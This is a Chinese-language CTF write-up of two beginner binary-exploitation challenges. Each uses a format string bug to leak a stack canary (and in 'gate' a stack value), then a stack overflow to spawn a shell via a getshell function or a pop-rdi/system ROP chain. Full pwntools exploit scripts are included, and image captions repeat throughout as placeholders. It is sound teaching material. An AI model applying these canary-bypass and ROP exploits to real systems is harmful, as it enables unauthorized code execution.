两道格式化字符串漏洞利用入门题,绕过canary的一种姿势,不知道写的对不对,请大家多指正。

0x01 Canary
保护
格式化字符串漏洞利用之泄露canary
开启了NX和canary。

题目分析

格式化字符串漏洞利用之泄露canary
格式化字符串漏洞利用之泄露canary
格式化字符串漏洞利用之泄露canary

有个getshell函数,vuln函数里面明显的栈溢出和格式化字符串漏洞,所以可以利用printf函数泄露出canary的值,然后利用栈溢出填充canary,控制返回指针执行getshell函数。


格式化字符串漏洞利用之泄露canary
格式化字符串漏洞利用之泄露canary

从栈的情况看,var_8(即canary的值)距离栈顶120个字节,120/8 =15,64位Linux前六个参数用寄存器传递,后面的才从栈上读取,所以要使var_8是printf函数的第22个参数,因此使用“%21$p”作为printf参数可以泄露出canary的值。

知识点补充:%i$p是指打印出偏移format第i个参数的值

exp

# -*- coding:utf-8 -*-  
from pwn import *
context.binary='canary'
#context.log_level = 'debug'
io=process('./canary')
get_shell=ELF("./canary").sym["getshell"]
io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "%21$p"
io.sendline(payload)
Canary=int(io.recvuntil("00"),16)
log.info("Canary:"+hex(Canary))

#栈溢出填充canary
payload = "a"*104+p64(Canary)+"a"*8+p64(get_shell)
io.send(payload)
io.recv()
io.interactive()

成功getshell
格式化字符串漏洞利用之泄露canary

0x02 Gate
保护
格式化字符串漏洞利用之泄露canary
主要是绕过canary。

题目分析

格式化字符串漏洞利用之泄露canary
格式化字符串漏洞利用之泄露canary
这里read函数将数据写入unk_602040,位于bss段。

格式化字符串漏洞利用之泄露canary
v2的值必须要等于“#3”,所以栈溢出覆盖的时候要把v2覆盖成#3
格式化字符串漏洞利用之泄露canary
v4的值要等于v0+0x1234,所以利用格式化字符串漏洞泄露出v0的值,然后利用栈溢出将v4填充为v0+0x1234,这里查看一下v0在栈中的位置

格式化字符串漏洞利用之泄露canary
v0就在var_44(),可以作为printf函数的第8个参数,即偏移format第7个参数,构造参数“%7$p”用来泄露出v0。

格式化字符串漏洞利用之泄露canary
格式化字符串漏洞利用之泄露canary
这里的格式化字符串漏洞用来泄露出canary的值,然后v1的值还要等于ff,所以前面填充v4的时候同时要把v1填充为ff。泄露出canary后,利用栈溢出,覆盖canary的值,通过cookie检测,跳转到system函数。
格式化字符串漏洞利用之泄露canary

格式化字符串漏洞利用之泄露canary

canary位于栈上的var_8,距离栈顶40个字节,40/8=5,64位系统,加上寄存器数量,即var_8距离format 的偏移量为11,构造%11$p 参数。

额,还要找个gadget,用于调用system函数传参。
格式化字符串漏洞利用之泄露canary
exp

# -*- coding:utf-8 -*-  
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./gate")
elf = ELF("./gate")

pop_rdi=0x400c73 
system=0x400a76 
bss=0x602040

p.sendlineafter("D:","/bin/sh\x00")#system函数有了,先将bin/sh写入bss
p.sendafter("d.\n","a"*48+"3#")#栈溢出填充v2


p.sendafter("n.\n","%7$p")  #泄露出v0的值
s=p.recvuntil("00")
s=int(s[:-2],16)
print hex(s+0x1234)

p.sendafter("?\n","ff\x00\x00"*12+p32(s+0x1234))#将v4填充为v0+0x1234,同时把v1填充为ff

p.sendafter("s.\n","%11$p")#泄露出canary值
s=int(p.recvuntil("00"),16)
print hex(s)

pay = "a"*48+"3#\x00\x00"*2+p64(s)+"a"*8   #填充canary
pay += p64(pop_rdi) + p64(bss) + p64(system)#调用system
p.recvuntil("world.")
p.send(pay)
p.interactive()

格式化字符串漏洞利用之泄露canary

相关文章: